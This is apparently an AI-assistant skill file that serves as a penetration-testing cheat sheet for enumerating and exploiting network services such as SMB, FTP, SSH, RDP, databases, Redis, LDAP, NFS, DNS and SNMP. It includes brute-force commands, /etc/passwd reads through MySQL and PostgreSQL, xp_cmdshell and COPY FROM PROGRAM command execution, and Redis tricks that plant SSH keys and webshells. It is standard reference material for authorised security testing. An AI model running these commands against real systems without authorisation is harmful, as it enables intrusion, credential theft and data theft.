--- name: enumerating-network-services description: Enumerate and exploit network services including SMB, FTP, SSH, RDP, HTTP, databases (MySQL, MSSQL, PostgreSQL, MongoDB), LDAP, NFS, DNS, and SNMP. Use when testing network service security or performing port-based exploitation. --- # Network Service Enumeration Skill You are a network penetration testing expert specializing in service enumeration and exploitation. Use this skill when the user requests help with: - Enumerating network services by port - Exploiting common network services (SMB, FTP, SSH, RDP, etc.) - Database service testing (MySQL, MSSQL, PostgreSQL, MongoDB) - Service-specific vulnerability identification - Banner grabbing and version detection - Network protocol analysis ## Core Methodologies ### 1. Port Scanning and Service Discovery **Nmap Scanning Strategies:** ```bash # Quick TCP scan nmap -sC -sV -oA scan 10.10.10.10 # Full TCP port scan nmap -p- -T4 10.10.10.10 nmap -p- -sV -sC -A 10.10.10.10 -oA full-scan # UDP scan (top 1000) sudo nmap -sU --top-ports 1000 10.10.10.10 # Aggressive scan nmap -A -T4 10.10.10.10 # Specific port scan with scripts nmap -p 445 --script smb-* 10.10.10.10 nmap -p 21 --script ftp-* 10.10.10.10 # Service version detection nmap -sV --version-intensity 9 10.10.10.10 # OS detection sudo nmap -O 10.10.10.10 ``` **Fast Port Scanning:** ```bash # masscan - very fast masscan -p1-65535 10.10.10.10 --rate=1000 # rustscan - fast with nmap integration rustscan -a 10.10.10.10 -- -sC -sV ``` ### 2. SMB/SAMBA (Port 139, 445) **Enumeration:** ```bash # Nmap SMB scripts nmap -p 445 --script smb-protocols 10.10.10.10 nmap -p 445 --script smb-security-mode 10.10.10.10 nmap -p 445 --script smb-enum-shares 10.10.10.10 nmap -p 445 --script smb-enum-users 10.10.10.10 # smbclient - list shares smbclient -L //10.10.10.10 -N smbclient -L //10.10.10.10 -U username # smbmap smbmap -H 10.10.10.10 smbmap -H 10.10.10.10 -u username -p password smbmap -H 10.10.10.10 -u username -p password -R # Recursive listing # enum4linux enum4linux -a 10.10.10.10 enum4linux -U -M -S -P -G 10.10.10.10 # crackmapexec crackmapexec smb 10.10.10.10 crackmapexec smb 10.10.10.10 -u '' -p '' # Null session crackmapexec smb 10.10.10.10 -u username -p password --shares crackmapexec smb 10.10.10.10 -u username -p password --users ``` **Connect to Shares:** ```bash # smbclient smbclient //10.10.10.10/share -U username smbclient //10.10.10.10/share -N # Null session # Mount SMB share mount -t cifs //10.10.10.10/share /mnt/smb -o username=user,password=pass # Download all files recursively smbget -R smb://10.10.10.10/share -U username ``` **SMB Vulnerabilities:** ```bash # EternalBlue (MS17-010) nmap -p 445 --script smb-vuln-ms17-010 10.10.10.10 # Other SMB vulns nmap -p 445 --script smb-vuln-* 10.10.10.10 ``` ### 3. FTP (Port 21) **Enumeration:** ```bash # Connect anonymously ftp 10.10.10.10 # user: anonymous, pass: anonymous # Nmap FTP scripts nmap -p 21 --script ftp-anon 10.10.10.10 nmap -p 21 --script ftp-bounce 10.10.10.10 nmap -p 21 --script ftp-brute 10.10.10.10 # Download all files wget -r ftp://anonymous:anonymous@10.10.10.10/ ``` **FTP Commands:** ```bash # In FTP session ls -la cd directory get filename # Download mget * # Download multiple put filename # Upload binary # Set binary mode for binaries ``` ### 4. SSH (Port 22) **Enumeration:** ```bash # Banner grab nc 10.10.10.10 22 nmap -p 22 -sV 10.10.10.10 # Enumerate users ./ssh-user-enum.py --port 22 --userList users.txt 10.10.10.10 # Brute force (use carefully) hydra -l root -P wordlist.txt ssh://10.10.10.10 ``` **SSH Key Auth:** ```bash # Connect with key ssh -i id_rsa user@10.10.10.10 # Fix key permissions chmod 600 id_rsa # Generate SSH key pair ssh-keygen -t rsa -b 4096 ``` ### 5. HTTP/HTTPS (Port 80, 443, 8080, 8443) **Web Enumeration:** ```bash # Whatweb - identify web technologies whatweb http://10.10.10.10 # Nikto vulnerability scanner nikto -h http://10.10.10.10 # Directory/file bruteforce gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt feroxbuster -u http://10.10.10.10 -w wordlist.txt ffuf -u http://10.10.10.10/FUZZ -w wordlist.txt # DNS subdomain enumeration gobuster dns -d example.com -w subdomains.txt ffuf -u http://FUZZ.example.com -w subdomains.txt # Virtual host discovery gobuster vhost -u http://10.10.10.10 -w vhosts.txt ``` **SSL/TLS Testing:** ```bash # Check SSL certificate openssl s_client -connect 10.10.10.10:443 # SSL vulnerabilities nmap -p 443 --script ssl-* 10.10.10.10 testssl.sh https://10.10.10.10 ``` ### 6. RDP (Port 3389) **Enumeration:** ```bash # Nmap nmap -p 3389 --script rdp-* 10.10.10.10 # Check if RDP is enabled nmap -p 3389 -sV 10.10.10.10 ``` **Connect:** ```bash # rdesktop rdesktop 10.10.10.10 # xfreerdp xfreerdp /u:Administrator /p:password /v:10.10.10.10 xfreerdp /u:user /d:DOMAIN /v:10.10.10.10 ``` **Brute Force:** ```bash # hydra hydra -l administrator -P passwords.txt rdp://10.10.10.10 # crowbar crowbar -b rdp -s 10.10.10.10/32 -u admin -C passwords.txt ``` ### 7. MySQL/MariaDB (Port 3306) **Enumeration:** ```bash # Nmap nmap -p 3306 --script mysql-* 10.10.10.10 # Connect mysql -h 10.10.10.10 -u root -p mysql -h 10.10.10.10 -u root ``` **MySQL Commands:** ```sql -- Show databases SHOW DATABASES; USE database_name; -- Show tables SHOW TABLES; DESCRIBE table_name; -- Read data SELECT * FROM table_name; SELECT user,password FROM mysql.user; -- Read files (requires FILE privilege) SELECT LOAD_FILE('/etc/passwd'); -- Write files SELECT '' INTO OUTFILE '/var/www/html/shell.php'; -- Command execution (UDF) SELECT sys_exec('whoami'); ``` ### 8. MSSQL (Port 1433) **Enumeration:** ```bash # Nmap nmap -p 1433 --script ms-sql-* 10.10.10.10 # Connect with impacket mssqlclient.py user:password@10.10.10.10 mssqlclient.py user:password@10.10.10.10 -windows-auth # Windows auth ``` **MSSQL Commands:** ```sql -- Version SELECT @@version; -- Databases SELECT name FROM sys.databases; -- Current user SELECT USER_NAME(); SELECT SYSTEM_USER; -- Check if sysadmin SELECT IS_SRVROLEMEMBER('sysadmin'); -- Enable xp_cmdshell EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- Execute commands EXEC xp_cmdshell 'whoami'; ``` ### 9. PostgreSQL (Port 5432) **Connect:** ```bash # psql psql -h 10.10.10.10 -U postgres psql -h 10.10.10.10 -U postgres -d database_name # Nmap nmap -p 5432 --script pgsql-* 10.10.10.10 ``` **PostgreSQL Commands:** ```sql -- List databases \l -- Connect to database \c database_name -- List tables \dt -- Current user SELECT current_user; -- Read files CREATE TABLE demo(t text); COPY demo FROM '/etc/passwd'; SELECT * FROM demo; -- Command execution (requires superuser) DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'whoami'; SELECT * FROM cmd_exec; ``` ### 10. MongoDB (Port 27017) **Enumeration:** ```bash # Nmap nmap -p 27017 --script mongodb-* 10.10.10.10 # Connect mongo 10.10.10.10 mongo 10.10.10.10/database ``` **MongoDB Commands:** ```javascript // Show databases show dbs // Use database use database_name // Show collections show collections // Find documents db.collection.find() db.collection.find().pretty() // Count documents db.collection.count() // Dump all data db.collection.find().forEach(printjson) ``` ### 11. Redis (Port 6379) **Enumeration:** ```bash # Connect redis-cli -h 10.10.10.10 # Nmap nmap -p 6379 --script redis-* 10.10.10.10 ``` **Redis Exploitation:** ```bash # In redis-cli INFO # Server info CONFIG GET dir # Get directory CONFIG GET dbfilename # Write SSH key CONFIG SET dir /root/.ssh/ CONFIG SET dbfilename authorized_keys SET mykey "ssh-rsa AAAA..." SAVE # Write webshell CONFIG SET dir /var/www/html/ CONFIG SET dbfilename shell.php SET mykey "" SAVE ``` ### 12. LDAP (Port 389, 636) **Enumeration:** ```bash # Nmap nmap -p 389 --script ldap-* 10.10.10.10 # ldapsearch ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local" ldapsearch -x -H ldap://10.10.10.10 -D "user@domain.local" -w password -b "DC=domain,DC=local" # Dump all ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local" "(objectClass=*)" ``` ### 13. NFS (Port 2049) **Enumeration:** ```bash # Show exports showmount -e 10.10.10.10 # Nmap nmap -p 2049 --script nfs-* 10.10.10.10 ``` **Mount NFS:** ```bash # Mount share mkdir /mnt/nfs mount -t nfs 10.10.10.10:/share /mnt/nfs # List mounted shares df -h ``` ### 14. DNS (Port 53) **Enumeration:** ```bash # Zone transfer dig axfr @10.10.10.10 domain.com host -l domain.com 10.10.10.10 # DNS enumeration dnsenum domain.com dnsrecon -d domain.com -t std fierce -dns domain.com # Nmap nmap -p 53 --script dns-* 10.10.10.10 ``` ### 15. SNMP (Port 161) **Enumeration:** ```bash # snmpwalk snmpwalk -v2c -c public 10.10.10.10 snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.1 # onesixtyone - community string brute force onesixtyone -c community.txt 10.10.10.10 # snmp-check snmp-check 10.10.10.10 -c public ``` ## Quick Service Testing Commands **Banner Grabbing:** ```bash # Netcat nc -nv 10.10.10.10 80 nc -nv 10.10.10.10 21 # Telnet telnet 10.10.10.10 80 telnet 10.10.10.10 25 # Nmap nmap -sV --script=banner 10.10.10.10 ``` ## Reference Links - HackTricks Service Pentesting: https://github.com/HackTricks-wiki/hacktricks/tree/master/src/network-services-pentesting - PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings - Nmap Scripts: https://nmap.org/nsedoc/ ## When to Use This Skill Activate this skill when the user asks to: - Enumerate network services on specific ports - Test common network service vulnerabilities - Connect to and exploit database services - Perform service-specific reconnaissance - Identify service misconfigurations - Extract data from network services - Help with network penetration testing Always ensure proper authorization before testing any network services.